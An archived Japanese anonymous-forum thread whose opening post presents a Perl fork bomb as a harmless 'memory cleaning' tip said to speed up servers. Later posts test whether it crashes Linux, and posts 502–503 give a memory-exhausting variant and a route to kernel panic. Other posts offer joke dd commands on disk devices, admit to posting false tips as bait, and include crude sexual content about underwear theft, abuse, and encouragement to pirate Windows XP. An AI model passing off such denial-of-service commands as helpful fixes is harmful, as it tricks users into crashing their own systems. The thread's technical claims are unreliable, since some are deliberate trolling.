簡単!メモリクリーニング
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGメモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0422名無しさん@お腹いっぱい。
NGNG0423名無しさん@お腹いっぱい。
NGNG0424418
NGNG0425名無しさん@お腹いっぱい。
NGNG>>421の解釈が客観的にみて妥当だから
0427名無しさん@お腹いっぱい。
NGNG0428名無しさん@お腹いっぱい。
NGNGねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
0429名無しさん@お腹いっぱい。
NGNG0430名無しさん@お腹いっぱい。
NGNG無差別的な泥棒の場合
女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
0431名無しさん@お腹いっぱい。
NGNG夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。
だ か ら 切 り 刻 ん で 捨 て て や る の さ
0432名無しさん@お腹いっぱい。
NGNG- 野良ぱんつの蒸れがデモ行進
0433ワイルドパンツ
NGNG洗濯カゴからはみ出すブラ&ズロース
昔よくマスかいたパンティー
へへいへい♪
0434名無しさん@お腹いっぱい。
NGNG0435思い出の渚
NGNGひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
0436名無しさん@お腹いっぱい。
NGNG死ね気違い
0437名無しさん@お腹いっぱい。
NGNG0438名無しさん@お腹いっぱい。
NGNG0439名無しさん@お腹いっぱい。
NGNG0440名無しさん@お腹いっぱい。
NGNG>>437
板違い
0441名無しさん@お腹いっぱい。
NGNG0442名無しさん@お腹いっぱい。
NGNG0443名無しさん@お腹いっぱい。
NGNG0444名無しさん@お腹いっぱい。
NGNG0445名無しさん@お腹いっぱい。
NGNG僕の右手知りませんか?
0446名無しさん@お腹いっぱい。
NGNG0447名無しさん@お腹いっぱい。
NGNG行方不明になったのか?
0448名無しさん@お腹いっぱい。
NGNG0449名無しさん@お腹いっぱい。
NGNG0450名無しさん@お腹いっぱい。
NGNG0451名無しさん@お腹いっぱい。
NGNG0452名無しさん@お腹いっぱい。
NGNG変態ホモにハァハァされてるかもしれないぞ。
0454名無しさん@お腹いっぱい。
NGNG0455名無しさん@お腹いっぱい。
NGNG0456名無しさん@お腹いっぱい。
NGNGーーーーーーー糸冬了ーーーーーーー
0457名無しさん@お腹いっぱい。
NGNG生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
0458名無しさん@お腹いっぱい。
NGNG0459名無しさん@お腹いっぱい。
NGNGもれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
0460名無しさん@お腹いっぱい。
NGNG0461名無しさん@お腹いっぱい。
NGNG0462名無しさん@お腹いっぱい。
NGNG0463名無しさん@お腹いっぱい。
NGNGドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
0464名無しさん@お腹いっぱい。
NGNG> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200
間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
0465名無しさん@お腹いっぱい。
NGNGこの板でそのOSの名前出すと
変なのがよりあつまってきますよ
0466名無しさん@お腹いっぱい。
NGNG「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。
Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
0467名無しさん@お腹いっぱい。
NGNG最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
0468名無しさん@お腹いっぱい。
NGNG0469名無しさん@お腹いっぱい。
NGNG0470名無しさん@お腹いっぱい。
NGNGWindowsって何ですか?
そんな古臭いOSなんてもう使えませんよ。
ま、ともかく
*WindowsXPプリインストールPCを買う奴:気違い
*WindowsXPを買う奴:世界の経済を狂わせる奴
*WindowsXPをMXとかからダウンロードする奴:世界経済を安定化させる勇者
どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。
それでなければ、OpenBSDでもインストール汁
0471名無しさん@お腹いっぱい。
NGNG0472名無しさん@お腹いっぱい。
NGNG0473名無しさん@お腹いっぱい。
NGNG0474名無しさん@お腹いっぱい。
NGNG独り言はhttp://etc.2ch.net/hikky/でやってくれ。
>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
0475名無しさん@お腹いっぱい。
NGNG煽りに親切すぎ
でも勉強になった
0476名無しさん@お腹いっぱい。
NGNG0477名無しさん@お腹いっぱい。
NGNG0478名無しさん@お腹いっぱい。
NGNG0479名無しさん@お腹いっぱい。
NGNGで、氏なないってのかい?
0480名無しさん@お腹いっぱい。
NGNGつか、frokしただけで死ぬかよ
0481名無しさん@お腹いっぱい。
NGNGスレをよく嫁
ガイシュツすぎてつまらん新しいネタもってこいやヴォケ
0482名無しさん@お腹いっぱい。
NGNG15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた
これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
0483名無しさん@お腹いっぱい。
NGNGuname -aしてkernelのバージョンいくつか教えて。
0484名無しさん@お腹いっぱい。
NGNGLinux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個?
2.4.20-ck6でも検証したけど同じく死なないよ。
たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの?
0485名無しさん@お腹いっぱい。
NGNGちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。
何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
0486名無しさん@お腹いっぱい。
NGNGrootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。
その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。
その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。
どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)
ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
0487名無しさん@お腹いっぱい。
NGNG0488名無しさん@お腹いっぱい。
NGNG猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
0489名無しさん@お腹いっぱい。
NGNG氏ななかったよ。
% uname -r
2.6.0-test10
0490名無しさん@お腹いっぱい。
NGNG0491名無しさん@お腹いっぱい。
NGNG0492名無しさん@お腹いっぱい。
NGNGかたまった!!!!!!!!!!!!!!!!!!!!!!!!
0493名無しさん@お腹いっぱい。
NGNG0494名無しさん@お腹いっぱい。
NGNGそろそろまとめろや
os ver user root
でいいから書きやがれ
0495名無しさん@お腹いっぱい。
NGNG0496名無しさん@お腹いっぱい。
NGNG0497名無しさん@お腹いっぱい。
NGNGDebian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない
番外
FreeBSD 4.8R user 落ちない root 落ちない
0498名無しさん@お腹いっぱい。
NGNGDOS???
0500_
NGNG確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。
vmのいじめ方しらない香具師おおいな。
0501名無しさん@お腹いっぱい。
NGNGじゃあ、そのイジメかたとやらを書いてみてはいかが?
0502_
NGNGperl -e 'while(1){local($time)=time; fork;}'
かな? とりあえず使い切るまでメモリつかってくれるはず。
途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。
limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。
0503_
NGNG参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
(Swap込み)が足りなくても allocateは成功する。
で、古いvm(mach64 vmベースでいまも残ってるかも)だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。
ためしてみそ。
0504名無しさん@お腹いっぱい。
NGNG0505名無しさん@お腹いっぱい。
NGNG0506名無しさん@お腹いっぱい。
NGNG0507名無しさん@お腹いっぱい。
NGNG0508名無しさん@お腹いっぱい。
NGNG0509名無しさん@お腹いっぱい。
NGNG0510名無しさん@お腹いっぱい。
NGNGそろそろ認めろよ
0511名無しさん@お腹いっぱい。
NGNG0512名無しさん@お腹いっぱい。
NGNG0513名無しさん@お腹いっぱい。
NGNGせめてLinux以上の物を言ってくれ
0514名無しさん@お腹いっぱい。
NGNG0515名無しさん@お腹いっぱい。
NGNG0516名無しさん@お腹いっぱい。
NGNG激しく同意。
0517名無しさん@お腹いっぱい。
NGNGそういう事は、MSがマトモなOS作ってから言いましょうね。
Windowsと比較するのは、他のOSにとって失礼に値しますよ。
Winマンセーなら窓板だけでやっててください。
0518名無しさん@お腹いっぱい。
NGNGむしろWindowsにそんな求める連中は死んでくれ。
売れたもんが正義なんだよ。
0519名無しさん@お腹いっぱい。
NGNG他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。
スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。
どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪
犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。
それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし
クライアント用OSとしてはデファクトスタンダードだし
とくに引け目を感じる事はないと思うけどね。
個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
高負荷になって落ちても、気にせず再起動すればいいんだし
不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。
脆弱性の事だって、こんだけセキュリティについて騒がれてるのに
そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから
Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。
だから穴だらけでも全然OKなんだから気にする事はない。
ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。
0520名無しさん@お腹いっぱい。
NGNG何よりM$が気にしていない罠
0521名無しさん@お腹いっぱい。
NGNG>高負荷になって落ちても、気にせず再起動すればいいんだし
その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に
リセットしたがるようになったのは最低に痛いよ。
原因探れないから予防策もとれねー。
■ このスレッドは過去ログ倉庫に格納されています